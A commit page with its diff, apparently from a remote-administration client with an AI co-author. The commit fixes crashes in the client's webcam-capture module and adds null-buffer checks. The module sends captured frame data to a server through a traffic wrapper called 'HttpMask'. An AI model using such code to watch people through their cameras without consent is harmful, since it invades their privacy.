Fix(client): keep webcam capture alive across driver quirks

Opening video management killed the client on some hosts: the DirectShow
sample callback memcpy'd into a null bitmap buffer.

IMediaControl::Run legitimately returns S_FALSE while the state change
completes asynchronously; the graph is already running and frames are
delivered. Open passed that S_FALSE to its caller, which compared against
S_OK (introduced in 8d4c118) and took the "camera failed to open" abort
path while the graph kept running; ConstructBI never allocated the buffers
and the first callback wrote to address 0.

Open now returns S_OK only when the graph is running (S_FALSE normalised)
and a failure code otherwise. BufferCB drops a frame with S_OK when the
buffer is not ready or the driver hands over more bytes than negotiated,
so the start-up race or a resolution change can neither corrupt the heap
nor stop the stream. ConstructBI validates the dimensions and allocates the
full BITMAPINFO that SendBitMapInfor copies.

Also accept FORMAT_VideoInfo2 (many built-in cameras report it, and the
cast to VIDEOINFOHEADER read garbage dimensions) and fix BindVideoFilter's
comma-expression loop that called BindToStorage with a dangling IMoniker
once enumeration ran out.

Debug and Release x64 clients build; the host that reproducibly crashed
now works.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-21 16:44:42 +01:00
1 parent 798456032e
commit 94cb4584c8
3 files changed
+98 -38

No files matched your search

+19 -2
View File
@@ -36,6 +36,14 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
return 0x20261013;
}
// 摄像头打开成功但格式解析失败(VIDEOINFOHEADER2 之外的媒体类型、宽高非法等):
// 结束本次会话,绝不带着空缓冲区进采帧循环——那会在第一帧 memcpy 时崩掉。
if (This->m_CapVideo.GetBmpInfor() == NULL) {
Mprintf("CVideoManager: camera format unusable, abort session\n");
This->Destroy();
return 0x20261014;
}
static ULONGLONG dwLastScreen = GetTickCount64();
if (This->Initialize()) { //转到Initialize
@@ -100,10 +108,15 @@ void CVideoManager::Destroy()
void CVideoManager::SendBitMapInfor()
{
LPBITMAPINFO bi = m_CapVideo.GetBmpInfor();
if (bi == NULL) {
Mprintf("CVideoManager: no bitmap info, skip sending\n");
return;
}
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
BYTE szBuffer[dwBytesLength + 3] = { 0 };
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
memcpy(szBuffer + 1, bi, sizeof(BITMAPINFO));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
}
@@ -187,9 +200,13 @@ BOOL CVideoManager::Initialize()
bRet= FALSE;
return bRet;
}
LPBITMAPINFO bi = m_CapVideo.GetBmpInfor();
if (bi == NULL) {
return FALSE;
}
m_pVideoCodec = new CVideoCodec;
//这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看)
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) {
if (!m_pVideoCodec->InitCompressor(bi, m_fccHandler)) {
delete m_pVideoCodec;
bRet=FALSE;
// 置NULL, 发送时判断是否为NULL来判断是否压缩